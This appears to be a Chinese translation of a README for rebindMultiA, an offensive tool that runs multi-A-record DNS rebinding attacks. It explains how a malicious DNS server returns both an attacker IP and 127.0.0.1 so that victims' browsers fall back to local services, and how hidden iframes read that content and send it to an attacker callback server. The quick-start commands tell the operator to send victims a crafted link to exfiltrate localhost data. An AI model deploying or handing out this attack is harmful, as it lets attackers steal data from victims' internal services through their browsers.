RebindMultiA | 执行多个 A 记录重新绑定攻击的工具插图

rebindMultiA是执行多 A 记录重新绑定攻击的工具。

rebindmultia.com是我为协助这些攻击而设​​置的域。它使每个 IP 成为该域的自己的权威名称服务器[IP].ns.rebindmultia.com。例如,13.33.33.37.ns.rebindmultia.com的权威名称服务器13.33.33.37.ip.rebindmultia.com解析(如您可能已经猜到的那样)为13.33.33.37.

多次 A 记录重新绑定攻击

MultiA Record Rebind 攻击是 DNS Rebinding 的一种变体,它利用攻击者使用两个 IP 地址响应 DNS 请求的能力,以及浏览器在第一个不响应时回退到 DNS 响应中的第二个 IP 的倾向. 在这次攻击中,攻击者会配置一个恶意的DNS服务器和两个恶意的HTTP服务器。DNS 服务器将响应两个 A 记录:

127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 13.33.33.37
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 127.0.0.1

然后,受害者浏览器将连接到第一个 IP,并开始与攻击者的第一个恶意 HTTP 服务器进行交互。该服务器将响应一个包含两个 iframe 的页面,一个到/steal,一个到/rebind。iframe/steal将加载恶意页面以进入第二个 iframe 并获取内容。端点/rebind在命中时将发出 302 重定向/并杀死第一个恶意 HTTP 服务器。结果,当浏览器返回到攻击者的 HTTP 服务器时,它将遇到一个关闭的端口。因此,它将回退到第二个 IP. 一旦目标内容加载到第二个 iframe 中,第一个 iframe 就可以进入其中,窃取数据,并将其泄露到攻击者的第二个恶意 HTTP 服务器——回调服务器。

此攻击仅适用于Windows环境。 Linux和Mac会默认优先使用私有IP,永远不会查询到攻击者的服务器。

图文+讲解

RebindMultiA | 执行多个 A 记录重新绑定攻击的工具
  1. 浏览器解析主机127.0.0.1.target.13.33.33.37.ns.rebindmultia.com
  2. DNS服务器(包含在server.py)解析请求的dns名称,返回两条A记录13.33.33.37127.0.0.1
  3. 受害者的浏览器连接到攻击者的恶意 HTTP 服务器(包含在 中server.py)并加载/parent具有两个 iframe 的页面。
  4. 受害者的浏览器/steal从攻击者的恶意 HTTP 服务器加载。
  5. 受害者的浏览器加载/rebind导致 302 重定向到/(HTTP 服务器将在此请求后退出)。
  6. 受害者的浏览器重定向到/攻击302者的服务器。
  7. 受害者的浏览器尝试从攻击者的(现已失效)HTTP 服务器加载/,但未能成功。
  8. 然后浏览器转移到DNS 缓存中的第二个127.0.0.1IP,并将主机名解析为. 然后它会连接到该服务器并加载 iframe 中的页面。
  9. 攻击者的stealiframe 进入新加载的第二个 iframe 并获取内容。
  10. 攻击者的stealiframe 然后将结果发送回攻击者的回调服务器。

用法

pip3 install -r requirements.txt
python3 server.py --help
usage: server.py [-h] [-p PORT] [-c CALLBACK_PORT] [-d DNS_PORT] [-f FILE] [-l LOCATION]

optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Specify port to attack on targetIp. Default: 80
-c CALLBACK_PORT, --callback-port CALLBACK_PORT
Specify the callback HTTP server port. Default: 31337
-d DNS_PORT, --dns-port DNS_PORT
Specify the DNS server port. Default: 53
-f FILE, --file FILE Specify the HTML file to display in the first iframe.(The "steal" iframe). Default: steal.html
-l LOCATION, --location LOCATION
Specify the location of the data you'd like to steal on the target. Default: /

如果您收到此错误:

┬─[justin@RhynoDroplet:~/p/rebindMultiA]─[14:26:24]─[G:master=]
╰─>$ python3 server.py

Traceback (most recent call last):
File "server.py", line 2, in <module>
from http.server import HTTPServer, BaseHTTPRequestHandler, ThreadingHTTPServer
ImportError: cannot import name 'ThreadingHTTPServer'

然后你需要使用更新版本的 Python。Python 3.7+。

快速开始

这必须从可公开访问的 IP 执行。

git clone https://github.com/Rhynorater/rebindMultiA
cd rebindMutliA
pip3 install -r requirements.txt
echo "Send your victim to http://127.0.0.1.target.`curl -s http://ipinfo.io/ip`.ns.rebindmultia.com/parent to exfil 127.0.0.1"
sudo python3 server.py